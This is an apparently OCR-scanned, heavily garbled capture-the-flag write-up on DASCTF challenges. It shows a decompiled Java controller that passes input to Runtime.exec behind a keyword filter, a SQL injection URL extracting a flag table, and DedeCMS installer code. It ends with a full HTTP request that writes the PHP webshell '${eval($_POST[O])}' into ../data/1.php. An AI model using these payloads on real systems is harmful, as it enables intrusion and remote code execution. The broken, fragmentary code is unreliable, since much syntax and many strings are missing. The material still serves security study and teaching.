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t BufferedInputStream;

iE BufferedReader;

t InputStreamReader;

t Strings;

iE DigestUtils;

t PostMapping;

t RequestMapping;
it RestController;

@RestController

@RequestMapping({

public class R {
public R() {

1
J

private boolean wafl(String data)
[

s
1
String[] blacks new String[]{

s s s s s s s
if (Strings.isEmpty(data)) {
System.out.println( )
return true;
} else {
String[] var3 blacks;
int var4 = blacks.length;

for(int var5 0; vars vard; var5) {

String black = var3[var5];
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return false;

return true;

@PostMapping({ 1)
public String CE(String x, String c, String cmd) {
if (!this.wafl(cmd)) {
return 5
} else if (!DigestUtils.md5DigestAsHex(x.getBytes()).startsWith(
return DigestUtils.md5DigestAsHex(x.getBytes()).substring(@, 8);
} else {
Runtime run Runtime.getRuntime();

StringBuilder sb new StringBuilder();

try {
Process p run.exec(c);

BufferedInputStream in new BufferedInputStream(p.getInputStream());
BufferedReader inBr new BufferedReader(new InputStreamReader(in));

String tmpStr;
while( (tmpStr inBr.readLine()) null) {
sb.append(tmpStr);

if (p.waitFor() p.exitValue() 1) {

return
} else {
inBr.close();
in.close();
return sb.toString();
s
} catch (Exception varile) ({
return String.valueOf(varil®);
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if(!stristr($row| stristr($row|[

echo $row|

echo $row|
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/content.php?id=-1%20union%20select%201,2, (select%20hex(hex(group concat( 2 )))%20from%20(select%201,2%20union%2
Oselect%20*%20from%20flag)feng)
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else if($step==11)
{
require_once( )
$rmurl = UPDATEHOST {$s_lang}
$sql _content = file get contents($rmurl);
$fp fopen (INSTALL_DEMO_NAME, )
if(fwrite($fp,$sql content))
echo
else

echo

unset($sql_content);
fclose($fp);
exit();
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$conn = mysql connect($dbhost, $dbuser,$dbpwd) or die(
);
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if(!isset($modules) is_array($modules))

{

$fp = fopen($insLockfile, );

fwrite($fp, );
fclose($fp);
include(

exit();

$module join( ,$modules);

$fp fopen($moduleCacheFile, );
var_dump($moduleCacheFile);
fwrite($fp, )5
fwrite($fp, $module
fwrite($fp,
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foreach(Array ( ) as $_request)
i

foreach($$_request as $_k $ v) ${%$ _k} = RunMagicQuotes($_v);
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${eval($_POST[O])}
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POST /install/index.php HTTP/1.1

Host: ©6b29b43-e931-40cc-b464-1252310adc97.jkg.dasctf.com

Content-Length: 418

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://06b29b43-e931-40cc-b464-1252310adc97. jkg.dasctf.com

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81
Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applica

tion/signed-exchange;v=b3;q=0.9

Referer: http://06b29b43-e931-40cc-b464-1252310adc97.jkg.dasctf.com/install/index.php?step=3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

Connection: close

step=4&dbtype=mysql&dbhost=1ocalhost&dbuser=root&dbpwd=root&dbprefix=dede_&dbname=dedecmsv57utf8sp2&dblang=utf8§
adminuser=admin&adminpwd=admin&cookieencode=3WGGbidsWw5FshrPdHHxwDbfgyW6oAVv&webname=%E6%88%91%E7%9A%84%E7%BD%91
BE7%AB%99&adminmail=admin%40dedecms.com&baseurl=http%3A%2F%2F06b29b43-e931-40cc-b464-1252310adc97.jkg.dasctf.com
Rcmspath=&installdemo=0&modules[]=${eval($_POST[O])}&moduleCacheFile=../data/1.php
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